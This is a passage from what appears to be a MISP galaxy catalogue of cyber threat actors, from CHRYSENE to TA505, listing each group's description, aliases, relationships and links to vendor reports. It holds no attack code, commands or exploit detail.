- OilRig
- Greenbug

View relationships graph

CHRYSENE has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Cleaver - G0003" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cutting Kitten" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="OilRig - G0049" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="Magic Hound - G0059" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Greenbug" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="Hazel Sandstorm" with estimative-language:likelihood-probability="likely"

Table 18258. Table References

Links
https://dragos.com/adversaries.html
https://dragos.com/media/2017-Review-Industrial-Control-System-Threats.pdf
https://www.cfr.org/interactive/cyber-operations/chrysene

ZooPark

ZooPark is a cyberespionage operation that has been focusing on Middle Eastern targets since at least June 2015. The threat actors behind ZooPark infect Android devices using several generations of malware we label from v1-v4, with v4 being the most recent version deployed in 2017.

The tag is: *misp-galaxy:threat-actor="ZooPark"*

Table 18259. Table References

Links
https://securelist.com/whos-who-in-the-zoo/85394/

RANCOR

The Rancor group's attacks use two primary malware families which are naming DDKONG and PLAINTEE. DDKONG is used throughout the campaign and PLAINTEE appears to be new addition to these attackers' toolkit. Countries Unit 42 has identified as targeted by Rancor with these malware families include, but are not limited to Singapore and Cambodia.

The tag is: *misp-galaxy:threat-actor="RANCOR"*

RANCOR is also known as:

- Rancor group
- Rancor
- Rancor Group
- G0075
- Rancor Taurus

Table 18260. Table References

Links
https://unit42.paloaltonetworks.com/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/
https://www.cfr.org/interactive/cyber-operations/rancor
https://attack.mitre.org/groups/G0075/
https://unit42.paloaltonetworks.com/atoms/rancortaurus/

The Big Bang

While it is not clear exactly what the attacker is looking for, what is clear is that once he finds it, a second stage of the attack awaits, fetching additional modules and/or malware from the Command and Control server. This then is a surveillance attack in progress and has been dubbed 'Big Bang' due to the attacker's fondness for the 'Big Bang Theory' TV show, after which some of the malware's modules are named.

The tag is: *misp-galaxy:threat-actor="The Big Bang"*

Table 18261. Table References

Links
https://research.checkpoint.com/apt-attack-middle-east-big-bang/
https://blog.talosintelligence.com/2017/06/palestine-delphi.html

The Gorgon Group

Unit 42 researchers have been tracking Subaat, an attacker, since 2017. Recently Subaat drew our

attention due to renewed targeted attack activity. Part of monitoring Subaat included realizing the actor was possibly part of a larger crew of individuals responsible for carrying out targeted attacks against worldwide governmental organizations. Technical analysis on some of the attacks as well as attribution links with Pakistan actors have been already depicted by 360 and Tuisec, in which they found interesting connections to a larger group of attackers Unit 42 researchers have been tracking, which we are calling Gorgon Group.

The tag is: *misp-galaxy:threat-actor="The Gorgon Group"*

The Gorgon Group is also known as:

- Gorgon Group
- Subaat
- ATK92
- G0078
- Pasty Gemini

Table 18262. Table References

Links
https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/
https://unit42.paloaltonetworks.com/unit42-tracking-subaat-targeted-phishing-attacks-point-leader-threat-actors-repository/
https://unit42.paloaltonetworks.com/aggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign/
https://attack.mitre.org/groups/G0078/
https://unit42.paloaltonetworks.com/atoms/pastygemini/

DarkHydrus

In July 2018, Unit 42 analyzed a targeted attack using a novel file type against at least one government agency in the Middle East. It was carried out by a previously unpublished threat group we track as DarkHydrus. Based on our telemetry, we were able to uncover additional artifacts leading us to believe this adversary group has been in operation with their current playbook since early 2016. This attack diverged from previous attacks we observed from this group as it involved spear-phishing emails sent to targeted organizations with password protected RAR archive attachments that contained malicious Excel Web Query files (.iqy).

The tag is: *misp-galaxy:threat-actor="DarkHydrus"*

DarkHydrus is also known as:

- LazyMeerkat
- G0079
- Obscure Serpens

Table 18263. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/
https://mobile.twitter.com/360TIC/status/1083289987339042817
https://ti.360.net/blog/articles/latest-target-attack-of-darkhydruns-group-against-middle-east-en/
https://unit42.paloaltonetworks.com/unit42-darkhydrus-uses-phishery-harvest-credentials-middle-east/
https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/
https://attack.mitre.org/groups/G0079/
https://unit42.paloaltonetworks.com/atoms/obscureserpens/

RedAlpha

Recorded Future's Insikt Group has identified two new cyberespionage campaigns targeting the Tibetan Community over the past two years. The campaigns, which we are collectively naming RedAlpha, combine light reconnaissance, selective targeting, and diverse malicious tooling. We discovered this activity as the result of pivoting off of a new malware sample observed targeting the Tibetan community based in India.

The tag is: *misp-galaxy:threat-actor="RedAlpha"*

RedAlpha is also known as:

- DeepCliff
- Red Dev 3

Table 18264. Table References

Links
https://www.recordedfuture.com/chinese-cyberespionage-operations
https://go.recordedfuture.com/hubfs/reports/cta-2018-0626.pdf
https://go.recordedfuture.com/hubfs/reports/ta-2022-0816.pdf
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf

TempTick

This threat actor targets organizations in the finance, defense, aerospace, technology, health-care, and automotive sectors and media organizations in East Asia for the purpose of espionage. Believed to be responsible for the targeting of South Korean actors prior to the meeting of Donald J. Trump and Kim Jong-un

The tag is: *misp-galaxy:threat-actor="TempTick"*

Table 18265. Table References

Links
https://www.cfr.org/interactive/cyber-operations/temptick

Operation Parliament

This threat actor uses spear-phishing techniques to target parliaments, government ministries, academics, and media organizations, primarily in the Middle East, for the purpose of espionage. Based on our findings, we believe the attackers represent a previously unknown geopolitically motivated threat actor. The campaign started in 2017, with the attackers doing just enough to achieve their goals. They most likely have access to additional tools when needed and appear to have access to an elaborate database of contacts in sensitive organizations and personnel worldwide, especially of vulnerable and non-trained staff. The victim systems range from personal desktop or laptop systems to large servers with domain controller roles or similar. The nature of the targeted ministries varied, including those responsible for telecommunications, health, energy, justice, finance and so on. Operation Parliament appears to be another symptom of escalating tensions in the Middle East region. The attackers have taken great care to stay under the radar, imitating another attack group in the region. They have been particularly careful to verify victim devices before proceeding with the infection, safeguarding their command and control servers. The targeting seems to have slowed down since the beginning of 2018, probably winding down when the desired data or access was obtained. The targeting of specific victims is unlike previously seen behavior in regional campaigns by Gaza Cybergang or Desert Falcons and points to an elaborate information-gathering exercise that was carried out before the attacks (physical and/or digital). With deception and false flags increasingly being employed by threat actors, attribution is a hard and complicated task that requires solid evidence, especially in complex regions such as the Middle East.

The tag is: *misp-galaxy:threat-actor="Operation Parliament"*

Table 18266. Table References

Links
https://www.cfr.org/interactive/cyber-operations/operation-parliament
https://securelist.com/operation-parliament-who-is-doing-what/85237/
https://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html

Inception Framework

This threat actor uses spear-phishing techniques to target private-sector energy, defense, aerospace, research, and media organizations and embassies in Africa, Europe, and the Middle East, for the purpose of espionage.

The tag is: *misp-galaxy:threat-actor="Inception Framework"*

Inception Framework is also known as:

- Clean Ursa
- Cloud Atlas
- OXYGEN
- G0100
- ATK116
- Blue Odin

Table 18267. Table References

Links
https://www.cfr.org/interactive/cyber-operations/inception-framework
https://web.archive.org/web/20160710180729/https://www.bluecoat.com/security-blog/2014-12-09/blue-coat-exposes-%E2%80%9C-inception-framework%E2%80%9D-very-sophisticated-layered-malware
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/Inception_APT_Analysis_Bluecoat.pdf
https://logrhythm.com/blog/catching-the-inception-framework-phishing-attack
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2014/bcs_wp_InceptionReport_EN_v12914.pdf
https://securelist.com/the-red-october-campaign/57647
https://securelist.com/red-october-diplomatic-cyber-attacks-investigation/36740
https://securelist.com/red-october-part-two-the-modules/57645
https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083
https://securelist.com/an-undocumented-word-feature-abused-by-attackers/81899
https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability
https://securelist.com/recent-cloud-atlas-activity/92016
https://www.symantec.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies
https://www.akamai.com/uk/en/multimedia/documents/white-paper/upnproxy-blackhat-proxies-via-nat-injections-white-paper.pdf
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-annex-download.pdf
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf
https://unit42.paloaltonetworks.com/atoms/clean-ursa
https://www.cfr.org/interactive/cyber-operations/cloud-atlas

https://www.cfr.org/cyber-operations/red-october
https://attack.mitre.org/groups/G0100

HenBox

This threat actor targets Uighurs—a minority ethnic group located primarily in northwestern China—and devices from Chinese mobile phone manufacturer Xiaomi, for espionage purposes.

The tag is: *misp-galaxy:threat-actor="HenBox"*

Table 18268. Table References

Links
https://www.cfr.org/interactive/cyber-operations/henbox

MUSTANG PANDA

This threat actor targets nongovernmental organizations using Mongolian-themed lures for espionage purposes. In April 2017, CrowdStrike Falcon Intelligence observed a previously unattributed actor group with a Chinese nexus targeting a U.S.-based think tank. Further analysis revealed a wider campaign with unique tactics, techniques, and procedures (TTPs). This adversary targets non-governmental organizations (NGOs) in general, but uses Mongolian language decoys and themes, suggesting this actor has a specific focus on gathering intelligence on Mongolia. These campaigns involve the use of shared malware like Poison Ivy or PlugX. Recently, Falcon Intelligence observed new activity from MUSTANG PANDA, using a unique infection chain to target likely Mongolia-based victims. This newly observed activity uses a series of redirections and fileless, malicious implementations of legitimate tools to gain access to the targeted systems. Additionally, MUSTANG PANDA actors reused previously-observed legitimate domains to host files.

The tag is: *misp-galaxy:threat-actor="MUSTANG PANDA"*

MUSTANG PANDA is also known as:

- BRONZE PRESIDENT
- HoneyMyte
- Red Lich
- TEMP.HEX
- BASIN
- Earth Preta
- TA416
- Stately Taurus
- LuminousMoth
- Polaris
- TANTALUM

- Twill Typhoon

Table 18269. Table References

Links
https://www.cfr.org/interactive/cyber-operations/mustang-panda
https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.secureworks.com/research/threat-profiles/bronze-president
https://www.darkreading.com/threat-intelligence/chinese-apt-bronze-president-spy-campaign-russian-military
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://services.google.com/fh/files/blogs/google_fog_of_war_research_report.pdf
https://www.trendmicro.com/en_us/research/22/k/earth-preta-spear-phishing-governments-worldwide.html
https://www.proofpoint.com/us/blog/threat-insight/ta416-goes-ground-and-returns-golang-plugx-malware-loader
https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european
https://unit42.paloaltonetworks.com/stately-taurus-targets-philippines-government-cyberespionage/
https://www.bsi.bund.de/DE/Themen/Unternehmen-und-Organisationen/Cyber-Sicherheitslage/Analysen-und-Prognosen/Threat-Intelligence/Aktive_APT-Gruppen/aktive-apt-gruppen_node.html
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RW1aFyW
https://jsac.jpcert.or.jp/archive/2023/pdf/JSAC2023_2_LT4.pdf
https://thecyberwire.com/podcasts/microsoft-threat-intelligence/4/notes

Thrip

This threat actor targets organizations in the satellite communications, telecommunications, geospatial-imaging, and defense sectors in the United States and Southeast Asia for espionage purposes.

The tag is: *misp-galaxy:threat-actor="Thrip"*

Thrip is also known as:

- G0076
- ATK78

Table 18270. Table References

Links
https://www.cfr.org/interactive/cyber-operations/thrip
https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets
https://attack.mitre.org/groups/G0076/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://cyberthreat.thalesgroup.com/sites/default/files/2022-05/THALES%20THREAT%20HANDBOOK%202022%20Light%20Version_1.pdf

Stealth Mango and Tangelo

This threat actor targets organizations in the satellite communications, telecommunications, geospatial-imaging, and defense sectors in the United States and Southeast Asia for espionage purposes.

The tag is: *misp-galaxy:threat-actor=" Stealth Mango and Tangelo "*

Table 18271. Table References

Links
https://www.cfr.org/interactive/cyber-operations/stealth-mango-and-tangelo
https://www.lookout.com/blog/stealth-mango

PowerPool

Malware developers have started to use the zero-day exploit for Task Scheduler component in Windows, two days after proof-of-concept code for the vulnerability appeared online.

A security researcher who uses the online name SandboxEscaper on August 27 released the source code for exploiting a security bug in the Advanced Local Procedure Call (ALPC) interface used by Windows Task Scheduler.

More specifically, the problem is with the SchRpcSetSecurity API function, which fails to properly check user's permissions, allowing write privileges on files in C:\Windows\Task.

The vulnerability affects Windows versions 7 through 10 and can be used by an attacker to escalate their privileges to all-access SYSTEM account level.

A couple of days after the exploit code became available (source and binary), malware researchers at ESET noticed its use in active malicious campaigns from a threat actor they call PowerPool, because of their tendency to use tools mostly written in PowerShell for lateral movement.

The group appears to have a small number of victims in the following countries: Chile, Germany, India, the Philippines, Poland, Russia, the United Kingdom, the United States, and Ukraine.

The researchers say that PowerPool developers did not use the binary version of the exploit,

deciding instead to make some subtle changes to the source code before recompiling it.

The tag is: *misp-galaxy:threat-actor="PowerPool"*

PowerPool is also known as:

- IAmTheKing

Table 18272. Table References

Links
https://www.bleepingcomputer.com/news/security/windows-task-scheduler-zero-day-exploited-by-malware/
https://twitter.com/craiu/status/1311920398259367942

Bahamut

Bahamut is a threat actor primarily operating in Middle East and Central Asia, suspected to be a private contractor to several state sponsored actors. They were observed conduct phishing as well as desktop and mobile malware campaigns.

The tag is: *misp-galaxy:threat-actor="Bahamut"*

Table 18273. Table References

Links
https://www.bellingcat.com/news/mena/2017/06/12/bahamut-pursuing-cyber-espionage-actor-middle-east/
https://www.bellingcat.com/resources/case-studies/2017/10/27/bahamut-revisited-cyber-espionage-middle-east-south-asia/

Iron Group

Iron group has developed multiple types of malware (backdoors, crypto-miners, and ransomware) for Windows, Linux and Android platforms. They have used their malware to successfully infect, at least, a few thousand victims.

The tag is: *misp-galaxy:threat-actor="Iron Group"*

Iron Group is also known as:

- Iron Cyber Group

Table 18274. Table References

Links
https://www.intezer.com/iron-cybercrime-group-under-the-scope-2/

Operation BugDrop

This threat actor targets critical infrastructure entities in the oil and gas sector, primarily in Ukraine. The threat actors deploy the BugDrop malware to remotely access the microphones in their targets' computers to eavesdrop on conversations.

The tag is: *misp-galaxy:threat-actor="Operation BugDrop"*

Table 18275. Table References

Links
https://www.cfr.org/interactive/cyber-operations/operation-bugdrop

Unnamed Actor

This threat actor compromises civil society groups the Chinese Communist Party views as hostile to its interests, such as Tibetan, Uyghur, Hong Kong, and Taiwanese activist. The threat actor also targeted the Myanmar electoral commission.

The tag is: *misp-galaxy:threat-actor="Unnamed Actor"*

Table 18276. Table References

Links
https://www.cfr.org/interactive/cyber-operations/unnamed-actor

MageCart

Digital threat management company RiskIQ tracks the activity of MageCart group and reported their use of web-based card skimmers since 2016.

The tag is: *misp-galaxy:threat-actor="MageCart"*

Table 18277. Table References

Links
https://www.bleepingcomputer.com/news/security/british-airways-fell-victim-to-card-scraping-attack/
https://www.bleepingcomputer.com/news/security/feedify-hacked-with-magecart-information-stealing-script/
https://www.bleepingcomputer.com/news/security/magecart-group-compromises-plugin-used-in-thousands-of-stores-makes-rookie-mistake/
https://www.bleepingcomputer.com/news/security/visiondirect-data-breach-caused-by-magecart-attack/
https://www.bleepingcomputer.com/news/security/magecart-group-sabotages-rival-to-ruin-data-and-reputation/

Domestic Kitten

An extensive surveillance operation targets specific groups of individuals with malicious mobile apps that collect sensitive information on the device along with surrounding voice recordings. Researchers with CheckPoint discovered the attack and named it Domestic Kitten. The targets are Kurdish and Turkish natives, and ISIS supporters, all Iranian citizens.

The tag is: *misp-galaxy:threat-actor="Domestic Kitten"*

Domestic Kitten is also known as:

- Bouncing Golf
- APT-C-50

Table 18278. Table References

Links
https://www.bleepingcomputer.com/news/security/domestic-kitten-apt-operates-in-silence-since-2016/
https://www.trendmicro.com/en_us/research/19/f/mobile-cyberespionage-campaign-bouncing-golf-affects-middle-east.html
https://www.welivesecurity.com/2022/10/20/domestic-kitten-campaign-spying-iranian-citizens-furball-malware/
https://research.checkpoint.com/2021/domestic-kitten-an-inside-look-at-the-iranian-surveillance-operations/

FASTCash

Treasury has identified a sophisticated cyber-enabled ATM cash out campaign we are calling FASTCash. FASTCash has been active since late 2016 targeting banks in Africa and Asia to remotely compromise payment switch application servers within banks to facilitate fraudulent transactions, primarily involving ATMs, to steal cash equivalent to tens of millions of dollars. FBI has attributed malware used in this campaign to the North Korean government. We expect FASTCash to continue targeting retail payment systems vulnerable to remote exploitation.

The tag is: *misp-galaxy:threat-actor="FASTCash"*

Roaming Mantis

According to new research by Kaspersky's GReAT team, the online criminal activities of the Roaming Mantis Group have continued to evolve since they were first discovered in April 2018. As part of their activities, this group hacks into exploitable routers and changes their DNS configuration. This allows the attackers to redirect the router user's traffic to malicious Android apps disguised as Facebook and Chrome or to Apple phishing pages that were used to steal Apple ID credentials. Recently, Kaspersky has discovered that this group is testing a new monetization scheme by redirecting iOS users to pages that contain the Coinhive in-browser mining script rather

than the normal Apple phishing page. When users are redirected to these pages, they will be shown a blank page in the browser, but their CPU utilization will jump to 90% or higher.

The tag is: *misp-galaxy:threat-actor="Roaming Mantis"*

Roaming Mantis is also known as:

- Roaming Mantis Group

Table 18279. Table References

Links
https://www.bleepingcomputer.com/news/security/roaming-mantis-group-testing-coinhive-miner-redirects-on-iphones/

GreyEnergy

ESET research reveals a successor to the infamous BlackEnergy APT group targeting critical infrastructure, quite possibly in preparation for damaging attacks

The tag is: *misp-galaxy:threat-actor="GreyEnergy"*

View relationships graph

GreyEnergy has relationships with:

- similar: misp-galaxy:threat-actor="Sandworm" with estimative-language:likelihood-probability="likely"

Table 18280. Table References

Links
https://www.eset.com/int/greyenergy-exposed/
https://www.welivesecurity.com/2018/10/17/greyenergy-updated-arsenal-dangerous-threat-actors/

The Shadow Brokers

The Shadow Brokers (TSB) is a hacker group who first appeared in the summer of 2016. They published several leaks containing hacking tools from the National Security Agency (NSA, including several zero-day exploits.[1] Specifically, these exploits and vulnerabilities targeted enterprise firewalls, antivirus software, and Microsoft products. The Shadow Brokers originally attributed the leaks to the Equation Group threat actor, who have been tied to the NSA's Tailored Access Operations unit.

The tag is: *misp-galaxy:threat-actor="The Shadow Brokers"*

The Shadow Brokers is also known as:

- The ShadowBrokers

- TSB
- Shadow Brokers
- ShadowBrokers

Table 18281. Table References

Links
https://en.wikipedia.org/wiki/The_Shadow_Brokers
https://securelist.com/darkpulsar/88199/
https://musalbas.com/blog/2016/08/16/equation-group-firewall-operations-catalogue.html
https://www.vice.com/en_us/article/53djj3/shadow-brokers-whine-that-nobody-is-buying-their-hacked-nsa-files
https://www.scmagazineuk.com/second-shadow-brokers-dump-released/article/1476023
https://www.cyberscoop.com/nsa-shadow-brokers-leaks-iran-russia-optimusprime-stoicsurgeon/
https://www.csoonline.com/article/3190055/new-nsa-leak-may-expose-its-bank-spying-windows-exploits.html
https://threatpost.com/shadowbrokers-dump-more-equation-group-hacks-auction-file-password/124882/
http://securityaffairs.co/wordpress/62770/hacking/shadowbrokers-return.html
https://www.hackread.com/nsa-data-dump-shadowbrokers-expose-unitedrake-malware/
https://blacklakesecurity.com/who-was-the-nsa-contractor-arrested-for-leaking-the-shadow-brokers-hacking-tools/

EvilTraffic

Malware experts at CSE Cybsec uncovered a massive malvertising campaign dubbed EvilTraffic leveraging tens of thousands compromised websites. Crooks exploited some CMS vulnerabilities to upload and execute arbitrary PHP pages used to generate revenues via advertising.

The tag is: *misp-galaxy:threat-actor="EvilTraffic"*

EvilTraffic is also known as:

- Operation EvilTraffic

Table 18282. Table References

Links
http://securityaffairs.co/wordpress/68059/cyber-crime/eviltraffic-malvertising-campaign.html
https://cybaze.it/download/zlab/20180121_CSE_Massive_Malvertising_Report.pdf

HookAds

HookAds is a malvertising campaign that purchases cheap ad space on low quality ad networks commonly used by adult web sites, online games, or blackhat seo sites. These ads will include JavaScript that redirects a visitor through a serious of decoy sites that look like pages filled with native advertisements, online games, or other low quality pages. Under the right circumstances, a visitor will silently load the Fallout exploit kit, which will try and install its malware payload.

The tag is: *misp-galaxy:threat-actor="HookAds"*

Table 18283. Table References

Links
https://www.bleepingcomputer.com/news/security/hookads-malvertising-installing-malware-via-the-fallout-exploit-kit/

INDRIK SPIDER

INDRIK SPIDER is a sophisticated eCrime group that has been operating Dridex since June 2014. In 2015 and 2016, Dridex was one of the most prolific eCrime banking trojans on the market and, since 2014, those efforts are thought to have netted INDRIK SPIDER millions of dollars in criminal profits. Throughout its years of operation, Dridex has received multiple updates with new modules developed and new anti-analysis features added to the malware. In August 2017, a new ransomware variant identified as BitPaymer was reported to have ransomed the U.K.'s National Health Service (NHS), with a high ransom demand of 53 BTC (approximately $200,000 USD). The targeting of an organization rather than individuals, and the high ransom demands, made BitPaymer stand out from other contemporary ransomware at the time. Though the encryption and ransom functionality of BitPaymer was not technically sophisticated, the malware contained multiple anti-analysis features that overlapped with Dridex. Later technical analysis of BitPaymer indicated that it had been developed by INDRIK SPIDER, suggesting the group had expanded its criminal operation to include ransomware as a monetization strategy.

The tag is: *misp-galaxy:threat-actor="INDRIK SPIDER"*

INDRIK SPIDER is also known as:

- Manatee Tempest

View relationships graph

INDRIK SPIDER has relationships with:

- similar: misp-galaxy:microsoft-activity-group="Manatee Tempest" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Mustard Tempest" with estimative-language:likelihood-probability="likely"

Table 18284. Table References

Links
https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/

DNSpionage

Cisco Talos recently discovered a new campaign targeting Lebanon and the United Arab Emirates (UAE) affecting .gov domains, as well as a private Lebanese airline company. Based on our research, it's clear that this adversary spent time understanding the victims' network infrastructure in order to remain under the radar and act as inconspicuous as possible during their attacks. Based on this actor's infrastructure and TTPs, we haven't been able to connect them with any other campaign or actor that's been observed recently. This particular campaign utilizes two fake, malicious websites containing job postings that are used to compromise targets via malicious Microsoft Office documents with embedded macros. The malware utilized by this actor, which we are calling "DNSpionage," supports HTTP and DNS communication with the attackers. In a separate campaign, the attackers used the same IP to redirect the DNS of legitimate .gov and private company domains. During each DNS compromise, the actor carefully generated Let's Encrypt certificates for the redirected domains. These certificates provide X.509 certificates for TLS free of charge to the user. We don't know at this time if the DNS redirections were successful. In this post, we will break down the attackers' methods and show how they used malicious documents to attempt to trick users into opening malicious websites that are disguised as "help wanted" sites for job seekers. Additionally, we will describe the malicious DNS redirection and the timeline of the events.

The tag is: *misp-galaxy:threat-actor="DNSpionage"*

DNSpionage is also known as:

- COBALT EDGEWATER

Table 18285. Table References

Links
https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html
https://blog.talosintelligence.com/2019/04/dnspionage-brings-out-karkoff.html
https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html
https://www.crowdstrike.com/blog/widespread-dns-hijacking-activity-targets-multiple-sectors/
https://krebsonsecurity.com/tag/dnspionage/
https://www.secureworks.com/research/threat-profiles/cobalt-edgewater

DarkVishnya

Dubbed DarkVishnya, the attacks targeted at least eight banks using readily-available gear such as netbooks or inexpensive laptops, Raspberry Pi mini-computers, or a Bash Bunny - a USB-sized piece hardware for penetration testing purposes that can pose as a keyboard, flash storage, network

adapter, or as any serial device.

The tag is: *misp-galaxy:threat-actor="DarkVishnya"*

Table 18286. Table References

Links
https://www.bleepingcomputer.com/news/security/netbooks-rpis-and-bash-bunny-gear-attacking-banks-from-the-inside/

Operation Poison Needles

What's noteworthy is that according to the introduction on the compromised website of the polyclinic (http://www.p2f.ru), the institution was established in 1965 and it was founded by the Presidential Administration of Russia. The multidisciplinary outpatient institution mainly serves the civil servants of the highest executive, legislative, judicial authorities of the Russian Federation, as well as famous figures of science and art. Since it is the first detection of this APT attack by 360 Security on a global scale, we code-named it as "Operation Poison Needles", considering that the target was a medical institution. Currently, the attribution of the attacker is still under investigation. However, the special background of the polyclinic and the sensitiveness of the group it served both indicate the attack is highly targeted. Simultaneously, the attack occurred at a very sensitive timing of the Kerch Strait Incident, so it also aroused the assumption on the political attribution of the attack.

The tag is: *misp-galaxy:threat-actor="Operation Poison Needles"*

Table 18287. Table References

Links
http://blogs.360.cn/post/PoisonNeedles_CVE-2018-15982_EN

GC01

From November 2017 to October 2018, we attributed 14 campaigns to the GC threat actors that used a specific MaaS provider (hereinafter "the Provider") offered by a known individual (hereinafter "the Provider Operator").

The tag is: *misp-galaxy:threat-actor="GC01"*

GC01 is also known as:

- Golden Chickens
- Golden Chickens01
- Golden Chickens 01

View relationships graph

GC01 has relationships with:

- similar: misp-galaxy:threat-actor="GC02" with estimative-language:likelihood-probability="likely"

Table 18288. Table References

Links
https://medium.com/@quoscient/golden-chickens-uncovering-a-malware-as-a-service-maas-provider-and-two-new-threat-actors-using-61cf0cb87648

GC02

From November 2017 to October 2018, we attributed 14 campaigns to the GC threat actors that used a specific MaaS provider (hereinafter “the Provider”) offered by a known individual (hereinafter “the Provider Operator”).

The tag is: *misp-galaxy:threat-actor="GC02"*

GC02 is also known as:

- Golden Chickens
- Golden Chickens02
- Golden Chickens 02

View relationships graph

GC02 has relationships with:

- similar: misp-galaxy:threat-actor="GC01" with estimative-language:likelihood-probability="likely"

Table 18289. Table References

Links
https://medium.com/@quoscient/golden-chickens-uncovering-a-malware-as-a-service-maas-provider-and-two-new-threat-actors-using-61cf0cb87648

Operation Sharpshooter

The McAfee Advanced Threat Research team and McAfee Labs Malware Operations Group have discovered a new global campaign targeting nuclear, defense, energy, and financial companies, based on McAfee® Global Threat Intelligence. This campaign, Operation Sharpshooter, leverages an in-memory implant to download and retrieve a second-stage implant—which we call Rising Sun—for further exploitation. According to our analysis, the Rising Sun implant uses source code from the Lazarus Group’s 2015 backdoor Trojan Duuzer in a new framework to infiltrate these key industries. Operation Sharpshooter’s numerous technical links to the Lazarus Group seem too obvious to immediately draw the conclusion that they are responsible for the attacks, and instead indicate a potential for false flags. Our research focuses on how this actor operates, the global impact, and how to detect the attack. We shall leave attribution to the broader security community.

The tag is: *misp-galaxy:threat-actor="Operation Sharpshooter"*

View relationships graph

Operation Sharpshooter has relationships with:

- similar: misp-galaxy:threat-actor="Lazarus Group" with estimative-language:likelihood-probability="likely"

Table 18290. Table References

Links
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/operation-sharpshooter-targets-global-defense-critical-infrastructure/
https://www.bleepingcomputer.com/news/security/op-sharpshooter-connected-to-north-koreas-lazarus-group/

TA505

TA505, the name given by Proofpoint, has been in the cybercrime business for at least four years. This is the group behind the infamous Dridex banking trojan and Locky ransomware, delivered through malicious email campaigns via Necurs botnet. Other malware associated with TA505 include Philadelphia and GlobeImposter ransomware families.

The tag is: *misp-galaxy:threat-actor="TA505"*

TA505 is also known as:

- SectorJ04
- SectorJ04 Group
- GRACEFUL SPIDER
- GOLD TAHOE
- Dudear
- G0092
- ATK103
- Hive0065
- CHIMBORAZO
- Spandex Tempest

View relationships graph

TA505 has relationships with:

- similar: misp-galaxy:microsoft-activity-group="Lace Tempest" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="Spandex Tempest" with estimative-

language:likelihood-probability="likely"

- similar: misp-galaxy:threat-actor="MONTY SPIDER" with estimative-language:likelihood-probability="likely"

Table 18291. Table References

Links
https://www.bleepingcomputer.com/news/security/ta505-group-adopts-new-servhelper-backdoor-and-flawedgrace-rat/
https://www.proofpoint.com/sites/default/files/ta505_timeline_final4_0.png
https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter
https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware
https://e.cyberint.com/hubfs/Report%20Legit%20Remote%20Access%20Tools%20Turn%20Into%20Threat%20Actors%20Tools/CyberInt_Legit%20Remote%20Access%20Tools%20Turn%20Into%20Threat%20Actors'%20Tools_Report.pdf
https://threatpost.com/ta505-servhelper-malware/140792/
https://blog.yoroi.company/research/the-stealthy-email-stealer-in-the-ta505-arsenal/
https://threatrecon.nshc.net/2019/08/29/sectorj04-groups-increased-activity-in-2019/
https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader
https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/research/servhelper-evolution-and-new-ta505-campaigns/
https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672
